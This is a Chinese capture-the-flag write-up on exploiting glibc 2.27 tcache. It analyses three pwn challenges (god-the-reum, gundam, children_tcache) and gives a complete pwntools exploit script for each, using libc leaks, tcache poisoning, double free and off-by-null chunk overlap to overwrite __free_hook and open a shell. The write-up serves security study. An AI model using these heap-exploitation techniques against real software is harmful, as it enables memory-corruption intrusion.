本文首发于先知论坛 https://xz.aliyun.com/t/4102
前言 tcache是 glibc 2.26(ubuntu 17.10) 之后引入的一种技术,目的是提升堆管理的性能,最近tcache机制的pwn题越来越多,趁着春节放假,学习了一下tcache在pwn题中是如何利用的。下面通过几条tcache的题目,分享下此类题目常规利用姿势。
题目链接 链接: https://pan.baidu.com/s/11EIvOiNOsFTFWavScsR7eQ 提取码: vter
需要使用Ubuntu17.04以上版本进行练习。
tcache基础知识 tcache的介绍可以参考CTFwiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/ ,或者各大师傅的博客,都有详尽的介绍,在此我就不多赘述了。
CodegateCTF2019 god-the-reum 打开程序看一下,是个经典的菜单程序1 2 3 4 5 6 ====== Ethereum wallet service ======== 1. Create new wallet 2. Deposit eth 3. Withdraw eth 4. Show all wallets 5. exit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char *v3; char v5[88 ]; unsigned __int64 v6; __int64 savedregs; v6 = __readfsqword(0x28 u); setvbuf(stdout , 0L L, 2 , 0L L); v3 = (char *)stdin ; setvbuf(stdin , 0L L, 2 , 0L L); while ( 1 ) { menu(); while ( getchar() != 10 ) ; switch ( (unsigned int )&savedregs ) { case 1u : v3 = &v5[16 * dword_20202C]; create((void **)v3); break ; case 2u : v3 = &v5[16 * (signed int )sub_11DC(v3)]; deposit((__int64)v3); break ; case 3u : v3 = &v5[16 * (signed int )sub_11DC(v3)]; withdraw((__int64)v3); break ; case 4u : v3 = v5; show((__int64)v5); break ; case 5u : puts ("bye da." ); return 0L L; case 6u : v3 = &v5[16 * (signed int )sub_11DC(v3)]; developer((__int64)v3); break ; default : sub_11B3((__int64)v3, 0L L); break ; } } }
菜单功能如下:
Create new wallet:创建一个wallet,可控制size,malloc一个chunk用于存放ballance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 unsigned __int64 __fastcall create (void **a1) { char *v1; unsigned int v2; char v4; char v5; signed int i; size_t size; void *s; unsigned __int64 v9; v9 = __readfsqword(0x28 u); s = malloc (0x82 uLL); if ( !s || dword_20202C > 4 ) { puts ("wallet creation failed" ); exit (0 ); } memset (s, 0 , 0x82 uLL); v1 = (char *)s + strlen ((const char *)s); *(_WORD *)v1 = 'x0'; v1[2 ] = 0 ; v2 = time(0L L); srand(v2); for ( i = 0 ; i <= 39 ; ++i ) { v4 = rand() % 15 ; if ( v4 > 9 ) v5 = rand() % 6 + 97 ; else v5 = v4 + 48 ; *((_BYTE *)s + i + 2 ) = v5; } *a1 = s; printf ("how much initial eth? : " , 0L L); __isoc99_scanf("%llu" , &size); a1[1 ] = malloc (size); if ( a1[1 ] ) *(_QWORD *)a1[1 ] = size; ++dword_20202C; sub_119B(); puts ("Creating new wallet succcess !\n" ); sub_FD5(*a1, a1[1 ]); putchar (10 ); return __readfsqword(0x28 u) ^ v9; }
Deposit eth:增加wallet的ballance(本题中用不到)
Withdraw eth:减少wallet的金钱,如果当前ballance为0,则free掉ballance的chunk,可double free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned __int64 __fastcall withdraw (__int64 a1) { __int64 v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("how much you wanna withdraw? : " ); __isoc99_scanf("%llu" , &v2); **(_QWORD **)(a1 + 8 ) -= v2; if ( !**(_QWORD **)(a1 + 8 ) ) free (*(void **)(a1 + 8 )); puts ("withdraw ok !\n" ); return __readfsqword(0x28 u) ^ v3; }
Show all wallets:打印wallet信息,没有任何检查,存在UAF漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 int __fastcall show (__int64 a1) { int i; sub_119B(); puts ("========== My Wallet List =============" ); for ( i = 0 ; i < dword_20202C; ++i ) { printf ("%d) " , (unsigned int )i); sub_FD5(*(_QWORD *)(16L L * i + a1), *(_QWORD *)(16L L * i + a1 + 8 )); } return putchar (10 ); }
输入6
可以进入一个developer的隐藏功能,可对ballance进行修改。
1 2 3 4 5 6 7 8 9 __int64 __fastcall developer (__int64 a1) { sub_119B(); puts ("this menu is only for developer" ); puts ("if you are not developer, please get out" ); sleep(1u ); printf ("new eth : " ); return __isoc99_scanf("%10s" , *(_QWORD *)(a1 + 8 )); }
题目分析:
首先需要泄露libc地址,方法有两个,需要利用tcache
的特点
默认情况下,单链表个数是64个,可容纳的最大内存块大小是1032(0x408)
单个tcache bins默认最多包含7个块
方法一:那么,只要我们创建一个大于0x408的chunk,free掉之后就能进入unsorted bins,然后泄露libc地址的方法就与glibc 2.23以下版本一样。
方法二:先把tcache bins填满,一般情况就是7个,之后free掉的chunk就能进入unsorted bin了。利用double free
把tcache
填满7个后,泄露libc地址。注意首次double free
后金额变成heap地址,可以用show功能打印ballance,然后继续double free
。
使用tcache poisoning
进行任意地址写
tache posioning
和 fastbin attack
类似,而且限制更加少,不会检查size,直接修改 tcache
中的 fd,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。创建一个不大于0x408
的chunk,free掉后即可进入tcache
,利用developer的隐藏功能,可以修改tcache
的fd为free_hook
的地址,进行两次分配后,即可分配到free_hook
的地址,再次使用developer的隐藏功能直接把free_hook
改成system
或者onegadget
即可getshell。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *p = process('./god-the-reum' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so' ) def create (n) : p.sendlineafter('select your choice :' ,'1' ) p.sendlineafter('initial eth? : ' ,str(n)) def withdraw (idx,n) : p.sendlineafter('select your choice :' ,'3' ) p.sendlineafter('wallet no : ' ,str(idx)) p.sendlineafter('withdraw? : ' ,str(n)) def show () : p.sendlineafter('select your choice :' ,'4' ) def developer (idx,n) : p.sendlineafter('select your choice :' ,'6' ) p.sendlineafter('wallet no : ' ,str(idx)) p.sendlineafter('new eth : ' ,str(n)) create(0x100 ) create(0x90 ) withdraw(0 ,0x100 ) withdraw(0 ,0 ) show() p.recvuntil('ballance ' ) heap_addr = int(p.recvuntil('\n' ).strip()) print hex(heap_addr)for i in range(6 ): withdraw(0 ,heap_addr) show() p.recvuntil('ballance ' ) libc.address = int(p.recvuntil('\n' ).strip()) - 0x3ebc40 - 96 success('libc.address:{:#x}' .format(libc.address)) withdraw(1 ,0x90 ) developer(1 ,p64(libc.sym['__free_hook' ])) create(0x90 ) create(0x90 ) one_gadget = libc.address + 0x4f322 developer(3 ,p64(one_gadget)) withdraw(2 ,0x90 ) p.interactive()
hitbxctf2018 gundam 1 2 3 4 5 6 7 1 . Build a gundam 2 . Visit gundams 3 . Destory a gundam 4 . Blow up the factory 5 . Exit Your choice :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 void __fastcall main (__int64 a1, char **a2, char **a3) { char buf; unsigned __int64 v4; __int64 savedregs; v4 = __readfsqword(0x28 u); sub_1022(a1, a2, a3); while ( 1 ) { menu(); read(0 , &buf, 8u LL); atoi(&buf); switch ( (unsigned int )&savedregs ) { case 1u : bulid(); break ; case 2u : visit(); break ; case 3u : destory(); break ; case 4u : blow_up(); break ; case 5u : puts ("Exit...." ); exit (0 ); return ; default : puts ("Invalid choice" ); break ; } } }
菜单功能如下:
Build:申请一块0x28大小的chunk用来存储gundam的结构体 struct gundam{ int inuse; char* name; char type[24] }
,其中name
为0x100大小。最多创建9个gundam。
Visit:打印gundam的name
及type
Destory:free指定gundam的name
,没有清空指针,可double free
Blowup:free所有已经destory过的gundam,并清空指针。
思路分析:
第一步依然是泄露libc地址
本题我们不能控制malloc的大小,因此不能使用上一题的方法一,只能使用方法二。本题最多可以创建9个gundam,很容易就能把tcache
填满7个,之后的free掉的chunk就会放到unsorted bin
。接着使用visit功能泄露unsorted bin
的fd即可。
使用tcache dup
进行任意地址写
tcache dup
类似fastbin dup
,利用的是 tcache_put()
的不严谨可以对同一个chunk多次 free,tcache_put()
的检查几乎等于没有,fastbin不能连续释放同一个chunk,而且还需选择大小合适的位置,而tcache
没有这种限制,使用起来比fastbin dup
还要简单。使用destory功能进行double free
后,接着新建两个gundam后即可分配到指定位置,修改free_hook
为system
或onegadget
即可getshell。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *p = process('./gundam' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so' ) def bulid (name) : p.sendlineafter('Your choice :' ,'1' ) p.sendafter('name of gundam :' ,name) p.sendlineafter('type of the gundam :' ,'1' ) def destory (idx) : p.sendlineafter('Your choice :' ,'3' ) p.sendlineafter('Destory:' ,str(idx)) def visit () : p.sendlineafter('Your choice :' ,'2' ) def blow_up () : p.sendlineafter('Your choice :' ,'4' ) for i in range(9 ): bulid('aaaa' ) for i in range(9 ): destory(i) blow_up() for i in range(7 ): bulid('bbbb' ) bulid('cccccccc' ) visit() libc.address = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) - 0x3ebc40 - 96 success('libc.address:{:#x}' .format(libc.address)) destory(1 ) destory(0 ) destory(0 ) blow_up() bulid(p64(libc.sym['__free_hook' ])) bulid('/bin/sh\x00' ) bulid(p64(libc.sym['system' ])) destory(1 ) p.interactive()
hitcon2018 children_tcache 题目功能不多,就3个,我们来一一分析。1 2 3 4 5 6 7 8 9 $$$$$$$$$$$$$$$$$$$$$$$$$$$ 🍊 Children Tcache 🍊 $$$$$$$$$$$$$$$$$$$$$$$$$$$ $ 1. New heap $ $ 2. Show heap $ $ 3. Delete heap $ $ 4. Exit $ $$$$$$$$$$$$$$$$$$$$$$$$$$$ Your choice:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { unsigned __int64 v3; sub_AEB(); while ( 1 ) { while ( 1 ) { menu(); v3 = get_int(); if ( v3 != 2 ) break ; show(); } if ( v3 > 2 ) { if ( v3 == 3 ) { delete (); } else { if ( v3 == 4 ) _exit(0 ); LABEL_13: puts ("Invalid Choice" ); } } else { if ( v3 != 1 ) goto LABEL_13; new (); } } }
菜单功能如下:
new:创建一个heap(最多10个),可控制size,由于使用了strcpy(dest, &s)
(把从src地址开始且含有NULL结束符的字符串复制到以dest开始的地址空间),存在一个off by null
漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 unsigned __int64 new () { signed int i; char *dest; unsigned __int64 size; char s; unsigned __int64 v5; v5 = __readfsqword(0x28 u); memset (&s, 0 , 0x2010 uLL); for ( i = 0 ; ; ++i ) { if ( i > 9 ) { puts (":(" ); return __readfsqword(0x28 u) ^ v5; } if ( !heap_list[i] ) break ; } printf ("Size:" ); size = get_int(); if ( size > 0x2000 ) exit (-2 ); dest = (char *)malloc (size); if ( !dest ) exit (-1 ); printf ("Data:" ); get_str((__int64)&s, size); strcpy (dest, &s); heap_list[i] = dest; size_list[i] = size; return __readfsqword(0x28 u) ^ v5; }
show:打印指定index的heap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int show () { const char *v0; unsigned __int64 v2; printf ("Index:" ); v2 = get_int(); if ( v2 > 9 ) exit (-3 ); v0 = heap_list[v2]; if ( v0 ) LODWORD(v0) = puts (heap_list[v2]); return (signed int )v0; }
delete:free指定index的heap,并且清空了指针。memset((void *)heap_list[v1], 0xDA, size_list[v1]);
free前填充了\xda
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int delete () { unsigned __int64 v1; printf ("Index:" ); v1 = get_int(); if ( v1 > 9 ) exit (-3 ); if ( heap_list[v1] ) { memset ((void *)heap_list[v1], 0xDA , size_list[v1]); free ((void *)heap_list[v1]); heap_list[v1] = 0L L; size_list[v1] = 0L L; } return puts (":)" ); }
题目分析:
这题比较麻烦的是没有一个很直接的double free
漏洞可以利用,delete的时候清空了指针。而比较明显的漏洞就是off by null
,那么关键就是如何利用这个漏洞了。
由于分配的heap空间是连续的,可以利用off by null
把下一个chunk的size值的最低位覆盖成\x00
,同时放入一个合适pre_size
值,把前面已分配的chunk伪造成一个已free的chunk,当free此chunk时会进行向前合并,造成overlapping chunks
。
题目可以控制malloc的大小,因此选择创建一个可以放入unsorted bin
的chunk进行libc地址泄露。
解题步骤:
申请两个大于tcache
范围的heap,中间预留一个heap(tcache
范围内即可)做备用,依次记作#0,#1,#2
,对应下图的第2-4个chunk。
把#0
和#1
两个heap释放掉,此时#0
号进入unsorted bins
,#1
号进入tcache
。
申请一个#1
号大小的heap(#0'
),利用off by null
修改掉#2
号heap的size
,还要改掉pre_size
,当free掉#2
号heap时即可发生向前合并,此时#0'
号heap将与unsorted bin
重叠。
申请一个#0
号大小的heap,这时#0'
号与分割后的unsorted bin
的fd
重叠,打印#0'
号heap信息即可泄露libc地址。
申请一个#0'
号大小的heap(#2'
),#0'
和#2'
将重叠,可以进行double free
。
坑点:
由于delete的时候填充了垃圾数据\xDA
,而且new的时候写入是有\x00
截断,因此需要利用strcpy
会复制末尾\x00
的特点,不停改变新建heap的大小,然后删除,一字节一字节地把\xDA
清空掉,之后才能正确填充pre_size
。
完整EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *p = process('./children_tcache' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so' ) def new (size,content) : p.sendlineafter('Your choice: ' ,'1' ) p.sendlineafter('Size:' ,str(size)) p.sendafter('Data:' ,content) def show (idx) : p.sendlineafter('Your choice: ' ,'2' ) p.sendlineafter('Index:' ,str(idx)) def delete (idx) : p.sendlineafter('Your choice: ' ,'3' ) p.sendlineafter('Index:' ,str(idx)) new(0x410 ,'0000' ) new(0x20 ,'1111' ) new(0x4f0 ,'2222' ) new(0x20 ,'3333' ) delete(0 ) delete(1 ) for i in range(0 ,9 ): new(0x28 -i,(0x28 -i)*'a' ) delete(0 ) new(0x28 ,'a' *0x20 +p64(0x450 )) delete(2 ) new(0x418 ,'1111' ) show(0 ) libc.address = u64(p.recv(6 ).ljust(8 ,'\x00' )) - 0x3ebc40 - 96 success('libc.address:{:#x}' .format(libc.address)) new(0x28 ,'2222' ) delete(0 ) delete(2 ) new(0x28 ,p64(libc.sym['__free_hook' ])) new(0x28 ,'3333' ) one_gadget = libc.address + 0x4f322 new(0x28 ,p64(one_gadget)) delete(3 ) p.interactive()
总结 tcache的安全检查特别少,利用起来比较简单,此类题目的主要难点在于如何泄露libc地址以及如何创建重叠堆块。这3个题目基本把libc泄露,tcache poisoning,tcache dup,overlapping chunks都涵盖,值得学习一下。